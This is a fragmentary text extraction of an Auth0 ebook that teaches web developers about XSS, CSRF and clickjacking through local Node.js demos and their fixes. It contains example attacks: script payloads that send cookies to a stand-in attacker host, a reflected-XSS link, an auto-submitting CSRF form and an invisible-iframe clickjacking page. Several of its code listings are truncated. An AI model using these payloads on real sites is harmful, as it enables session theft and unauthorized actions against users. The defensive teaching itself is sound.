Ebook Security For Web Developers
Ebook Security For Web Developers
Ebook Security For Web Developers
Developers
A Practical Tour in Five Examples
by Andrea Chiarelli
EBOOK
auth0.com
2 Security for Web Developers
Contents
Introduction 05
Cross-Site Scripting 10
What Is XSS? 11
XSS in Action 12
Post-mortem Analysis 18
Types of XSS 22
Summary 42
What Is CSRF? 45
CSRF in Action 46
| © Auth0 2022
auth0.com
3 Security for Web Developers
Contents
Validating Requests 54
Summary 65
Clickjacking 67
What Is Clickjacking? 68
Clickjacking in Action 69
Summary 88
Summary 101
| © Auth0 2022
auth0.com
4 Security for Web Developers
Contents
Summary 110
Introduction
“Know your enemy and know yourself, find naught in fear for 100 battles.
Know yourself but not your enemy, find level of loss and victory. Know not
thy enemy nor yourself, wallow in defeat every time.”
Web security is a vast and constantly evolving topic, just like web
technologies themselves. Among your duties as a professional web
developer, you must be aware of the dangers to which the applications you
create may be exposed and apply appropriate solutions to protect them.
This book will drive you through a hands-on exploration of a few of the most
notorious threats that can affect web applications. Reading it will not make
you a security expert but will let you understand how those threats work in
practice and how you can write better code to secure your applications. By
reading the examples brought by the book, you’ll become more aware of
the web threats’ dynamics. Hopefully, it will become easier for you to adopt
a security by design mindset. i.e., an approach that makes you think of
security at each step of your application development.
The demand for interactivity, the entry of JavaScript, and the introduction
of dynamic page generation technologies have totally changed the primary
use of the Web. It has evolved from a simple content management system
auth0.com
7 Security for Web Developers
Three key concepts should be clear to you when analyzing your application
security:
• Threats are incidents that can potentially harm your application. Think of
them as external processes that your application must defend against.
• Risks are the potential damage your application can suffer when a
threat exploits a vulnerability. You can think of risks as the intersection
of threats and vulnerabilities.
| © Auth0 2022
Using the metaphor proposed by the quote at the beginning of this chapter,
threats are your enemy’s weapons, and vulnerabilities are your weakness.
auth0.com
8 Security for Web Developers
You have to know both to face the battle and make decisions with a
calculated risk.
Learning how security attacks work is the first pass to avoid them.
The applications discussed in the book are built using the Node.js ecosystem.
However, the concepts explained are independent of the programming
language and development framework used.
auth0.com
9 Security for Web Developers
• Cross-Site Scripting (XSS): this chapter will show you one of the
most common attacks based on code injection. You will learn how XSS
attacks work and the measures you can apply to prevent them.
• Clickjacking: in this chapter, you will learn visual tricks that make users
click a user interface element that performs actions on another website.
• HTTPS Downgrade Attacks: In this chapter, you will learn how attackers
can downgrade HTTPS connections to unencrypted HTTP traffic.
| © Auth0 2022
auth0.com
10 Security for Web Developers
Cross-site Scripting
“The art of war teaches us to rely not on the likelihood of the enemy’s
not coming, but on our own readiness to receive him; not on the
chance of his not attacking, but rather on the fact that we have made
our position unassailable.”
- Sun Tzu, The Art of War, Chap. VIII - Variations and Adaptability
| © Auth0 2022
auth0.com
11 Security for Web Developers
Cross-Site Scripting
Cross-Site Scripting is one of the most common attacks based on
code injection. Although it’s a well-known type of attack by name, few
developers genuinely understand how it works. If you don’t understand its
mechanisms, then it is much more difficult to defend against. This chapter
will teach what an XSS attack is and defensive techniques. You will achieve
this goal by inspecting an XSS-vulnerable application and then updating the
code to fix the vulnerability.
What Is XSS?
A Cross-Site Scripting attack (also known as XSS attack) involves injecting
code into a legitimate and trusted website using input for non-code
information. The actors involved in an XSS attack are:
• The victim: a user of the vulnerable website, the actual target of the
attack.
At first glance, this may seem not so critical. After all, JavaScript typically
has no direct access to the user’s system with modern, updated browsers.
auth0.com
12 Security for Web Developers
However, JavaScript can access quite a bit of sensitive data related to the
website the user is browsing. This data could include cookies, security
tokens, and more. Importantly, JavaScript can send data to arbitrary
servers and manipulate the DOM of the current page.
XSS in Action
To better understand how XSS attacks work, you will set up an environment
with all the elements to reproduce a simplified version of the attack. To run
this environment, you just need Node.js installed on your machine.
Although the example shown in this chapter uses Node.js as a server runtime,
be aware that XSS attacks are not related to a specific server-side technology.
The principles you will learn can be applied to any technology like ASP.NET,
PHP, Django, etc. In addition, since XSS attacks involve JavaScript, your client-
side code is affected too.
Now, move into the project’s root folder and install the project’s
dependencies by running the following command:
auth0.com
13 Security for Web Developers
npm install
npm start
text box and clicking the submit button. For simplicity, assume that users
have already been authenticated, and this is just one specific step in the
user’s journey on the website.
When you add your review, you see it appear in the comments section.
Other users can see your review too.
Now that the vulnerable website is up and running, launch the attacker’s
website typing this command in the project’s root folder:
To ensure that it runs correctly, point a new tab of your browser to the
http://localhost:4000 address. You should see the following page:
Now, assume you are the attacker visiting the streaming website and,
instead of adding a review to the movie, you insert the following string in
the review text box:
<script>fetch(`http://localhost:4000?data=${encodeURIComponent(window.
location.search)}`)</script>
Using the <script> element is just one example of how you can inject your
JavaScript code. You can perform code injection using various HTML tags.
Be aware that other XSS injection techniques involve CSS, direct JavaScript
code, etc.
After submitting this string, you will get the following result in the page of
the vulnerable website:
| © Auth0 2022
auth0.com
16 Security for Web Developers
At the bottom of the page, you will find an empty comment. This may seem
harmless. However, if you reload the attacker’s website, you will see that it
grabbed your current query string:
This isn’t the actual XSS attack since you (the attacker) just sent your own
data to yourself. This step has just illustrated the preparation for the attack
itself.
The actual attack happens when another user accesses that page of the
vulnerable website. To simulate a different user, open another browser tab
in incognito mode (or an instance of a different browser). Then navigate to
the vulnerable website and add a new review for the movie.
You will notice that nothing strange happens on the vulnerable website.
Your review is appended right below the empty one. However, try to reload
the attacker’s website. You will see your new review below the previous
| © Auth0 2022
one:
auth0.com
17 Security for Web Developers
Your review has been captured by the attacker without you even realizing it.
You may think that capturing reviews isn’t particularly interesting since
the review is public anyway. But consider what may happen if you, as the
attacker, drop the following code snippet as your review on the movie:
<script>fetch(`http://localhost:4000?data=${document.cookie}`)<script>
Post-mortem Analysis
So, what vulnerability in the sample streaming website did the attacker
exploit to intercept the user’s data?
// server.js
const fs = require(‘fs’);
app.use(express.static(‘public’));
auth0.com
19 Security for Web Developers
app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: false
}));
if (req.query.newReview) reviews.push(req.query.newReview);
dd>`).join(‘ ‘);
res.send(view);
});
localhost:${port}`));
Let’s focus on the relevant point of this investigation: how the server
handles the website page’s request. In the code above, it is represented by
the app.get() handler. Basically, when the server receives the request, it
performs the following steps:
The relevant part of the HTML template for the movie page looks as follows:
<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section id=”comments”>
<form>
<fieldset>
review”></textarea>
<button type=”submit”>Submit</button>
</fieldset>
</form>
<hr>
<h2>Comments</h2>
<dl>
</dl>
</section>
| © Auth0 2022
</body>
</html>
auth0.com
21 Security for Web Developers
Here, the main reason for the XSS vulnerability lies in the lack of
sanitization of the data sent by the user. Data is accepted as it is
sent, without any control over its validity and security. In this case, the
placeholder highlighted in the code snippet above is replaced with the
reviews sent by the user without any validity checks. Since the attacker’s
review is valid HTML code and there is no sanitization, the user’s browser
interprets the attacker’s review as code, injecting it into the HTML without
any apparent visual changes.
There is also another weakness in the server.js file code. Let’s take a
closer look at it:
// server.js
// ...existing code...
app.use(express.static(‘public’));
app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
cookie: {
}));
// ...existing code...
the session. Even if it is not strictly related to XSS attacks, the httpOnly:
false setting allows JavaScript to capture the user’s session data. It’s a
good practice to keep httpOnly: true for session cookies.
auth0.com
22 Security for Web Developers
Types of XSS
The attack illustrated and analyzed above is just one possible way to inject
malicious content into a web application. In this case, the attacker injects
the code into the website, which stores it and unintentionally distributes
it to any user. In the example you analyzed, the malicious JavaScript code
is stored in the reviews variable shared among the vulnerable website’s
users. In most real-life cases, that code is typically stored in a database.
That’s why this particular XSS attack example is called Stored XSS or
Persistent XSS.
Security experts classify XSS attacks into three categories: Stored XSS,
Reflected XSS, and DOM-based XSS. You will see that they work slightly
differently, but the core principle is the same: injecting a malicious piece of
code to steal confidential data from the user through a trusted website.
Stored XSS
To recap the example of attack you’ve seen above, these are the typical
steps for a Stored XSS attack:
1. The attacker visits the vulnerable website and injects the malicious code.
| © Auth0 2022
3. The user visits the vulnerable website and runs the malicious code.
auth0.com
23 Security for Web Developers
Reflected XSS
In a Stored XSS attack, the user receives the malicious code from the
vulnerable website’s response to a legitimate request. In a Reflected
XSS attack, the malicious code is included in the user’s request to the
vulnerable website. In other words, in this case, it’s not the attacker
injecting the malicious code into the vulnerable website but the victim.
The attacker’s burden is to provide the user with a malicious code link. This
can be accomplished in many different ways: publishing it on a website,
including it in an e-mail, sharing it on a social network, and more.
Let’s see what the flow of a typical Reflected XSS attack is:
1. The user visits the attacker’s website (or receives an e-mail, etc.) and
clicks on a link.
2. The user is redirected to the vulnerable website with the malicious code
encoded in the URL parameters.
3. The user unintentionally injects and runs the malicious code as an effect
of visiting the vulnerable website.
The only new thing is a Visit this website! link below the title. If you click
that link, you will be redirected to the streaming website. Looking at the
address bar of your browser, you will notice the following link:
http://localhost:3000/?newReview=%3Cscript%3Efetch%28%60http%3A%2F%2Flocal
host%3A4000%3Fdata%3D%24%7Bdocument.cookie%7D%60%29%3C%2Fscript%3E
It has the newReview parameter in the query string, and this parameter is
assigned the encoded version of the script element you saw before. This
URL exploits the sample website’s vulnerability to add the malicious code
as a standard movie review.
Maybe you may think that a more skilled user may notice the suspicious
parameter in the malicious URL before clicking on the link. Consider,
however, that the attacker could also hide the malicious code by using an
URL shortening service or various other tricks.
DOM-based XSS
While the Stored and Reflected XSS attacks involve the server, a DOM-
based XSS attack involves only the browser and the DOM manipulation
operated via JavaScript. Consider the following flow:
1. The user visits the attacker’s website or receives a link from the attacker.
| © Auth0 2022
3. The vulnerable website receives the request and provides the page but
doesn’t process the malicious code.
In this case, the malicious code is intended for the client-side code.
JavaScript processes the input to perform some DOM manipulation to run
the malicious code without involving the server.
You will see a broken image on the results page as in the following picture:
| © Auth0 2022
This broken image is the means used by the attacker to steal your session
cookie. As usual, you can confirm this by reloading the attacker’s website.
<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section>
<hr class=”thin”>
<hr>
</section>
<section id=”search-result”>
</section>
</body>
</html>
auth0.com
27 Security for Web Developers
This is the search() JavaScript function that processes the keyword and
gets the results from the server:
function search() {
movieData.style.visibility = “hidden”;
comments.style.visibility = “hidden”;
searchResult.style.display = “block”;
return false;
As you can see, the function gets the input inserted by the user via the
keyword element and assigns its value to the searchTerm element as
immediate feedback. Then it should query the server and show the results,
but this part is omitted for simplicity. The big mistake here is directly
assigning the user’s input to the innerHTML property of the searchResult
element directly. This causes the rendering of the fake image injected in
| © Auth0 2022
the search box, which in turn triggers the execution of the onerror handler.
auth0.com
28 Security for Web Developers
You may wonder why the <img> tag has been used here instead of the
<script> tag as in the previous examples. Well, this is because, by HTML5
specs, a <script> block assigned to the innerHTML property of an element
will not be executed.
• Validate user input: You must make sure that all the data entered by
the user is as you expect it to be. Use validation functions, regular
expressions, and whatever prevents the user from sending you data in
an unexpected format. Sanitize user input or reject it. Also, be sure to
validate user input both on the client and on the server side.
You can perform data validation and output escaping on your own. However,
like many security practices, this may be a daunting undertaking. You run
the risk of incompletely accomplishing these goals, not to mention wasting
time to reinvent the wheel. Instead, you should rely on established libraries
and template engines. For example, for the sample project of the vulnerable
| © Auth0 2022
streaming site, you could use the EJS template library instead of roughly
replacing placeholders in the HTML markup.
auth0.com
29 Security for Web Developers
Let’s take a look at how you can fix the XSS vulnerability of the sample
project by applying these defenses. The first step is to add the EJS
template library to the project by running the following command:
Then, rename the index.html file under the templates folder to index.
ejs. The extension change enables EJS to interpret it as a template. Now,
replace the $reviews$ placeholder in the index.ejs file with the EJS
expression shown below:
<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section id=”comments”>
<form>
<fieldset>
review”></textarea>
<button type=”submit”>Submit</button>
</fieldset>
</form>
| © Auth0 2022
<hr>
<h2>Comments</h2>
<dl>
</dl>
</section>
</body>
</html>
Finally, apply a few changes to the server.js file as shown in the following:
// server.js
app.use(express.static(‘public’));
app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: true
| © Auth0 2022
}));
auth0.com
31 Security for Web Developers
// changed code
if (req.query.newReview) reviews.push(req.query.newReview);
res.render(‘index’, {reviews});
});
// changed code
http://localhost:${port}`));
To correctly manage the other vulnerability point in your site (the search
box), take a closer look at the current code of the search() function
within the index.ejs template. In particular, you should ask yourself if you
actually need to use the innerHTML property to give feedback to the user.
In this specific case, it indeed is not necessary. You can get the same result
without the XSS risks by using the innerText property, as shown below:
function search() {
movieData.style.visibility = “hidden”;
comments.style.visibility = “hidden”;
auth0.com
32 Security for Web Developers
searchResult.style.display = “block”;
return false;
You may notice that we did not use data validation to protect both
vulnerability points. In this case, this choice is because the user input
has no specific format for you to control and validate. In general, the
combination of both approaches ensures better protection.
Once you apply these changes, reload the streaming website in your
browser and try to inject the code you saw above as a comment and in the
search box:
You can find this fixed version of the sample project in the validation-
escaping branch of the GitHub repository. You can download it with the
following command:
| © Auth0 2022
Enabling CSP
Make sure to use the original code of the sample project in the state before
applying data validation and escaping. Refer to the Set up the environment
section for directions.
// server.js
// ...existing code...
// new code
next();
});
// new code
app.use(express.static(‘public’))
// ...existing code...
Specifying the ’self’ source also blocks embedded and inline code
execution. So, any injected HTML code containing an inline script like the
following will not run:
auth0.com
35 Security for Web Developers
<script>fetch(`http://localhost:4000?data=${document.cookie}`)</script>
This time, adding the above markup as a comment will not trigger an XSS
injection. The browser will automatically block the code execution. Script
tags embedded in HTML is the most common attack technique for XSS.
Banning them mitigates the risk of XSS considerably.
However, as a side effect of applying the ’self’ source for the script.
src directive, your search function will no longer work. In fact, the code
associated with the search functionality is included in a <script> tag and
triggered by an inline statement. How could you fix this?
As a first option, you could enable the execution of inline scripts. You can
do this by adding the ’unsafe-inline’ source to the allowed source list,
as in the following example:
line’”);
next();
});
Of course, this approach enables your search feature but nullifies the
benefit brought by ’self’. So, as you can guess, using the ’unsafe-
| © Auth0 2022
movie”><button
type=”submit” class=”thin”>Go</button>
</form>
You need to gather this code into the script block. So, remove the
onsubmit=”return search()” attribute from the search form and
aggregate all code in the script block as follows:
function search() {
movieData.style.visibility = “hidden”;
comments.style.visibility = “hidden”;
searchResult.style.display = “block”;
| © Auth0 2022
searchTerm.innerHTML = keyword.value;
return false;
window.onload = function() {
};
Once you modify the index.html page under the template folder, reload
the streaming website. You will find that the search function still doesn’t
work. If you are using Chrome as your browser, in the Dev Tools console,
you will find an error message similar to the following:
Take note of the calculated hash code. In the example above, its value
is ’sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=’ and it
represents the trusted source you are going to add to the CSP header.
Keep in mind that your hash code could be different from the one shown above.
Any minor difference (even whitespace) will change the hash code, so be sure
to use the value provided in Dev Tools.
Once you have the hash code for your script block, change the value of the
CSP header in server.js:
| © Auth0 2022
auth0.com
38 Security for Web Developers
‘sha256-/R8iLbj/zzRkKsN1Dh/be9dTImUnl6khUlY3lP0rwTk=’;”);
next();
});
This CSP header tells the browser to trust only scripts from the current
origin and the script block with that specific hash code. Now the searching
feature should work again.
Using nonce
If you have noticed, the error message provided by Chrome Dev Tools
suggests another possible solution to enable script blocks. It mentions you
can provide a nonce. The nonce alternative is based on a random value
sent by the server and matching the value specified in the nonce attribute
of the script block. For example, suppose the server sends the CSP header
as shown below:
${ramdomValue}’;``);
next();
});
Assuming that the value of randomValue is abc123, you should add the
following nonce attribute to your <script> block:
| © Auth0 2022
auth0.com
39 Security for Web Developers
<script nonce=”abc123”>
...
</script>
In practice, this is another way to identify script blocks in the HTML page,
and its behavior on the client side is very similar to the hash code approach.
A far better approach is to move all the JavaScript code outside the HTML
markup and treat it as a resource for your page. For this purpose, move the
content of the script block you centralized before into a new search.js file
in the public folder. The file’s content should look like the following:
// public/js/search.js
function search() {
movieData.style.visibility = “hidden”;
comments.style.visibility = “hidden”;
auth0.com
40 Security for Web Developers
searchResult.style.display = “block”;
searchTerm.innerHTML = keyword.value;
return false;
window.onload = function() {
};
<!DOCTYPE html>
<html lang=en>
<head>
</head>
<body>
<section>
| © Auth0 2022
<hr class=”thin”>
auth0.com
41 Security for Web Developers
<form id=”search-form”>
movie”>
</form>
<hr>
</section>
</body>
</html>
Once all your JavaScript code lives outside the markup of your HTML page,
you should trust only your current origin as the source of your code. In
other words, the server needs to provide the browser with only ’self’ as
the allowed source for the script-src directive via CSP - just as you did
when first applying a Content Security Policy:
next();
});
You can find the sample project fixed by applying CSP in the csp branch of
the GitHub repository. You can download it with the following command:
Summary
This chapter introduced you to XSS vulnerabilities that may affect your web
applications. It concretely showed how XSS attacks work and provided
practical defense techniques.
• DOM-based XSS, whose attacks involve the browser and the DOM
manipulation via JavaScript instead of the server-side code.
• Data validation.
• Output escaping.
Also, you learned that avoiding inline JavaScript code and storing it in
| © Auth0 2022
external script files is a best practice for minimizing the burden of a CSP-
based defense.
auth0.com
43 Security for Web Developers
Remember that XSS attacks can occur in different forms. The ones
described here are just a few examples. Even the ways to prevent them
may be more complex. Now that you clearly understand XSS fundamentals,
you should have no problems following the OWASP XSS cheat sheet to
protect your applications with the best techniques available.
| © Auth0 2022
auth0.com
44 Security for Web Developers
Cross-Site Request
Forgery (CSRF)
“Now the reason the enlightened prince and the wise general conquer
the enemy whenever they move and their achievements surpass those
of ordinary men is foreknowledge.”
-Sun Tzu, The Art of War, Chap. XIII - Intelligence and Espionage
| © Auth0 2022
auth0.com
45 Security for Web Developers
What Is CSRF?
1. The attacker leads the user to perform an action, like visiting a web
page, clicking a link, or similar.
As you can see, having the website affected by a CSRF vulnerability is not
enough to make the attack successful. The user must also have an active
session on the website. The CSRF vulnerability relies on the authenticated
user’s session management for the trusted application.
Even though CSRF attacks are commonly associated with session cookies, be
aware that Basic Authentication sessions are also vulnerable to CSRF attacks.
CSRF in Action
So far, you have a high-level idea of what a CSRF attack is. However, to
better understand how it works in practice, let’s see a concrete case of a
vulnerable application.
To run the sample application that comes with this chapter, you just need
Node.js installed on your machine. However, keep in mind that the principles
behind the CSRF vulnerability (along with the remediation strategies) are
independent of the specific programming language or framework.
Now, move into the project’s root folder and install the project’s
dependencies by running the following command:
npm install
npm start
You may recognize many commonalities between this and the movie
streaming application we repaired in the previous chapter! Using the same
style of website should help you focus on security vulnerabilities instead of
specific functionality.
As you can see, the warning message detailing the requirement for a
session has disappeared, and a new link Your profile has appeared near the
top right corner of the page. By clicking Your profile, you can manage your
profile which consists of a name and an email address:
Now, let’s start the attacker’s website by typing this command in a terminal
window:
This is a simple web page with a link that invites you to visit a website.
The attack shown here is based on the user visiting the attacker’s website.
However, the attack may happen in different ways: via email, instant
messaging, social networks, etc.
If you click the link, you are redirected to the user’s profile page on the
movie streaming website. But the navigation to that page is not the only
effect. The user’s data has been replaced with the attacker’s data:
| © Auth0 2022
auth0.com
51 Security for Web Developers
You triggered this change by simply clicking a link on the attacker’s website.
How could this happen?
<fieldset>
</fieldset>
<fieldset>
</fieldset>
<fieldset>
</fieldset>
| © Auth0 2022
</form>
// server.js
// ...existing code...
if (req.session.isValid) {
req.session.username = req.body.username;
req.session.email = req.body.email;
res.redirect(‘/user’);
} else {
res.redirect(‘/’) ;
});
// ...existing code...
The server accepts the submitted data only if a valid active session is
present.
Now, let’s see how this seemingly innocent link on the attacker’s page is
implemented. The markup looks like the following:
</form>
You should notice a form with hidden fields. That form’s action points to the
user’s profile page, and the link triggers a simple JavaScript statement that
submits the form.
This form is harmless when the user of the movie streaming website has
no active session. The vulnerable website will refuse to change the user’s
profile since session information isn’t provided in the request. However, if
the user has an active session, the change will be applied.
This behavior is due to a cookie on the user’s browser that tracks the
current session on the movie streaming website. When the vulnerable
website receives the change request, it appears legitimate since it has the
correct session cookie.
In this way, even if the attacker has no direct access to the vulnerable
website, they exploit the user and the CSRF vulnerability to perform
unauthorized actions. Unlike what may happen in XSS attacks, the attacker
doesn’t directly read the cookie and steal it.
In the example shown so far, the user becomes aware of the attack
immediately after clicking the malicious link. Of course, those examples
| © Auth0 2022
However, keep in mind that most attacks are hidden from users, and their
interaction is not strictly necessary. For example, the attacker can trigger a
CSRF attack by simply putting the following script right after the malicious
form:
<script>
document.forms[0].submit();
</script>
1. Ensuring that the request you’re receiving is valid, i.e., it comes from a
form generated by the server.
Validating Requests
| © Auth0 2022
Attackers can perform a CSRF attack if they know the parameters and
values to send in a form or query string. To prevent those attacks, you need
auth0.com
55 Security for Web Developers
a way to distinguish data sent by the legitimate user from the one sent by
the attacker and only accept those from a user.
As a first step, install the csurf library by running the following command in
a terminal window:
This library will help you to generate and manage the CSRF token.
You might think that creating and checking a CSRF token is so simple that
you can write the code yourself. My suggestion is to use a proven library to
do this job at best. Look for the best library for your programming language
or framework.
After installing csurf, change the content of the server.js file as follows:
| © Auth0 2022
auth0.com
56 Security for Web Developers
// server.js
// ...existing code...
// ...existing code...
if (req.session.isValid) {
res.render(‘user’, {
username: req.session.username,
email: req.session.email,
});
} else {
res.redirect(‘/’);
});
// ...existing code...
| © Auth0 2022
In the above code, you’ve imported the csurf module and configured it as
an Express middleware. A new CSRF token will now be generated for each
auth0.com
57 Security for Web Developers
request and attached to the current session object. You can access the
current CSRF token through the req.csrfToken() method. With the default
csurf configuration, the token’s validity will be checked whenever a POST
request is sent to the server.
Now, edit the template/user.ejs file and add the markup highlighted in
the following:
<fieldset>
</fieldset>
<fieldset>
</fieldset>
<fieldset>
</fieldset>
</form>
| © Auth0 2022
This markup includes the hidden field _csrf with the current value of the
CSRF token.
With these changes, the movie streaming website will continue to work as
before. But if you try to apply the attack from the http://localhost:4000
URL, you will no longer be able to change the user’s data. You will get an
error message complaining about the invalid CSRF token, as shown in the
following picture:
You can download from GitHub the fixed version of the original project with
the following command:
The previous solution requires keeping the value of the matching CSRF
token on the server side. If you don’t want to maintain a copy of the token
auth0.com
59 Security for Web Developers
on the server for any reason, you can apply the double submit cookie
strategy. With this strategy variant, the server stores the matching token’s
value in a cookie instead of keeping it in the server session. It sends the
CSRF token to the browser in both the hidden field and the cookie. When
the server receives a request, it just needs to check if the cookie’s value
and the hidden field value match.
Let’s see how you can implement this alternative strategy with the csurf
library. Start with the original vulnerable project. Refer to the Set up the
environment section for directions.
Install the csurf and cookie-parser libraries with the following command:
You already know the csurf library. The cookie-parser library allows your
application to parse cookies sent by the browser.
// server.js
// ...existing code...
| © Auth0 2022
// ...existing code...
if (req.session.isValid) {
res.render(‘user’, {
username: req.session.username,
email: req.session.email,
});
} else {
res.redirect(‘/’);
});
// ...existing code...
Here, you include the installed modules and configure them as middleware
in the Express HTTP pipeline. In particular, you are configuring the csurf
middleware to use cookies instead of the server session object. As you did
for the session-based approach, you will access the CSRF token through
the req.csrfToken() method and will put it in a hidden field of the user’s
page template:
<fieldset>
| © Auth0 2022
</fieldset>
auth0.com
61 Security for Web Developers
<fieldset>
</fieldset>
<fieldset>
</fieldset>
</form>
This way, you fix the CSRF vulnerability with an approach similar to the
previous case. However, if you look at the cookies in your browser, you will
notice a new _csrf cookie containing the CSRF token’s value.
You can download this version of the project from GitHub as well. Here is
the command to use:
Let’s take a look at how you can implement this technique. Again, start with
the original vulnerable project by setting up the working environment.
Then, change the content of the server.js file by adding the following
code:
// server.js
// ...existing code...
app.set(‘views’, ‘./templates’);
// new code
req.headers.host);
null);
next();
| © Auth0 2022
} else {
});
auth0.com
63 Security for Web Developers
// new code
// ...existing code...
You have now added middleware that grabs the Origin and Referer
headers and compares their values with the Host header’s value. The code
considers that the Referer header may be missing at the first request to
the server. It also takes into account the lack of support for ‘Origin’ headers
which is a key weakness of old browsers. If one of those headers matches
the Host header, you can process the request. Otherwise, the middleware
raises an error and doesn’t process the request.
With this change, the attacker’s website will not be able to trigger its CSRF
attack.
Download the project fixed with this approach by using the following
command:
To learn how you can adopt this approach, restore the original project as
described in the Set up the environment section. Then, open the server.
js file and apply the following little change:
// server.js
// ...existing code...
app.use(express.static(‘public’));
app.use(session({
secret: ‘my-secret’,
resave: true,
saveUninitialized: true,
cookie: {
httpOnly: true,
}));
// ...existing code...
You assigned the ’strict’ value to the sameSite property of the session
cookie. This value instructs the browser not to send the session cookie
when the request comes from a different domain. In other words, that
cookie must be sent to the server only by pages loaded from the same
website.
You may want to verify that the attacker’s website can no longer perform
any unintentional change on the movie streaming website. Unfortunately,
| © Auth0 2022
if you try to perform the usual attacker steps as before, you will be able to
carry out the attack. This is because you are using the same domain name
(localhost) for both the vulnerable and the attacker websites, and cookies
auth0.com
65 Security for Web Developers
are shared independently of the port. So, to correctly test the behavior of
the sameSite property, you will need to differentiate the domain names. For
example, you can use the http://127.0.0.1:4000 address for the attacker’s
website.
As usual, you can download this version of the project with the following
command:
Summary
At the end of this chapter, you better know how CSRF attacks work and
which strategies you can use to prevent them. Exploring the vulnerable and
the attacker websites, you learned first-hand how dangerous and devious a
CSRF attack could be.
The goal of this chapter was to explain how CSRF attacks work and provide
you with basic principles to protect your web application. To dive deeper
into CSRF defenses, please check out the OWASP CSRF prevention cheat
sheet.
| © Auth0 2022
auth0.com
67 Security for Web Developers
Clickjacking
“All warfare is based on deception. Hence, when we are able to attack,
we must seem unable; when using our forces, we must appear inactive;
when we are near, we must make the enemy believe we are far away;
when far away, we must make him believe we are near.”
- Sun Tzu, The Art of War, Chap. I - Detail Assessment and Planning
| © Auth0 2022
auth0.com
68 Security for Web Developers
Clickjacking
Clickjacking attacks rely on visual tricks to get website visitors to click on
user interface elements that perform actions on another website. As usual,
this chapter will show you how a clickjacking attack works in practice and
the techniques you can use to prevent them.
What Is Clickjacking?
A clickjacking attack aims to trick unsuspecting website visitors into
performing actions on another website, i.e., the target website. Let me
make a simple example to clarify the concept. A user may be enticed by a
website that promises them an exceptional prize. When the user clicks a
button to accept this gift, their click is instead used to purchase an item on
an e-commerce website.
Based on the nature of the specific operation, the attack may assume
different names. Consider, for example, the following variants:
auth0.com
69 Security for Web Developers
• Likejacking: This kind of attack aims to grab users’ clicks and redirect
them to “likes” on a Facebook page or other social media networks.
• Filejacking: With this type of attack, the user allows the attacker to
access their local file system and take files.
These are just a few of many possible other clickjacking variants. Even if
many variants exist, keep in mind that they rely on the same basic principle:
capture a user action through a UI trick.
Clickjacking in Action
To understand the details behind a clickjacking attack, let’s take a look at
how it may happen in practice.
To run the sample application you are going to download, you just need
Node.js installed on your machine. However, the principles behind the
clickjacking vulnerability and the prevention strategies are independent
of the specific programming language or framework.
| © Auth0 2022
auth0.com
70 Security for Web Developers
Let’s start by cloning the sample app from the GitHub repository
accompanying this chapter. Run the following command on your machine:
npm install
Now you can launch the vulnerable website of the sample project by typing
the following:
npm start
Once the movie website is running, you will set up the clickjacking attack
| © Auth0 2022
for it. You will be running another website, the attacker’s website, whose
code will grab your click and redirect it to the movie website without you
realizing it.
auth0.com
72 Security for Web Developers
Then, open a new tab or a new instance of your browser and navigate to
http://localhost:4000. You should see the following page:
This page promises you an amazing holiday by simply clicking the Accept
the prize! button. This appears totally unrelated to the movie website.
However, if you click the button, you are buying the DVD on the movie
| © Auth0 2022
website. Verify this by opening your browser’s developer tool and analyzing
the network traffic while clicking the button. This is an example of this
tracking in Chrome DevTools:
auth0.com
73 Security for Web Developers
What is the relationship between this website and the movie website? You
will be discovering this in a moment.
<html lang=en>
<body>
<div id=”attacker_website”>
</div>
</iframe>
</body>
</html>
• The visible part of the page is defined by the div with the attacker_
website identifier.
The trick that connects the two websites is performed by the CSS rules
defining the position and visibility of those elements. Let’s take a look at
| © Auth0 2022
them:
auth0.com
75 Security for Web Developers
<html lang=en>
<head>
<style>
#vulnerable_website {
position:relative;
opacity:0.0;
width:800px;
height:900px;
top:75px;
left: -95px;
z-index:2;
padding-left:80px;
#attacker_website {
position:absolute;
z-index:1;
#attacker_website button {
margin-left:100px;
</style>
</head>
</html>
| © Auth0 2022
As you can see, the vulnerable_website iframe has assigned the 0.0
value for its opacity, which makes it transparent. In addition, it is positioned
auth0.com
76 Security for Web Developers
so that it overlaps the attacker_website div. You can see how the iframe
overlaps the div by adjusting the opacity value of the iframe to 0.3. After
changing that value, restart the attacker’s website. You should see the
attacker’s page as shown in the following picture:
You see that the Accept the prize! button overlaps the Buy DVD button on
the movie website.
The z-index property completes the job: the invisible iframe is over the
attacker’s div. So, users think they are clicking the Accept the prize! button
when they are actually hitting the Buy DVD button.
| © Auth0 2022
Now that you know how a clickjacking attack works, it should be clear why
this technique is also known as UI redressing.
auth0.com
77 Security for Web Developers
Note that you must have a valid session on the movie website to make this
attack successful. However, the attack itself is not about exploiting session
cookies. The attack can be performed even against a website that doesn’t
require any authentication.
As you learned in the previous chapter, in the CSRF case, the attacker
builds an HTTP request and exploits the user session to send it to the
server. In the clickjacking case, the user interacts directly with the target
website. The attacker builds no request, and the request sent to the target
server is legitimate from the perspective of the vulnerable website.
Client-side defenses
Since clickjacking attacks leverage iframes, you may think that applying
some client-side defense to prevent your website from being loaded in
iframes can protect it. This technique, known as frame-busting, can be
implemented with a few lines of JavaScript.
Consider adding the following script in the head section of the vulnerable
website’s page:
<!DOCTYPE html>
<html lang=en>
<head>
<meta charset=utf-8>
<script>
if (top != window) {
top.location = window.location;
</script>
</html>
| © Auth0 2022
If the page of the vulnerable website is not within the browser’s topmost
window, it is reloaded in the top window. In practice, this script replaces
the attacker’s page with the hidden page allowing the user to unmask the
attack.
auth0.com
79 Security for Web Developers
At first glance, this looks like a good solution to the problem. However,
there are a few issues with this approach. For example, some browsers or
browser add-ons may block the automatic reloading. Also, the attacker may
build their page to neutralize that defense. For example, the attacker can
simply add the following script to their page:
<html lang=en>
<head>
</head>
<body>
<script>
window.onbeforeunload = function() {
return false;
};
</script>
</body>
</html>
<html lang=en>
<head>
</head>
<body>
<iframe id=”vulnerable_website”
src=”http://localhost:3000”
</iframe>
</body>
</html>
In this case, the attacker specifies that the iframe content is allowed to
execute scripts (allow-scripts), to submit forms (allow-forms), and to
be treated as being from the same origin (allow-same-origin). No other
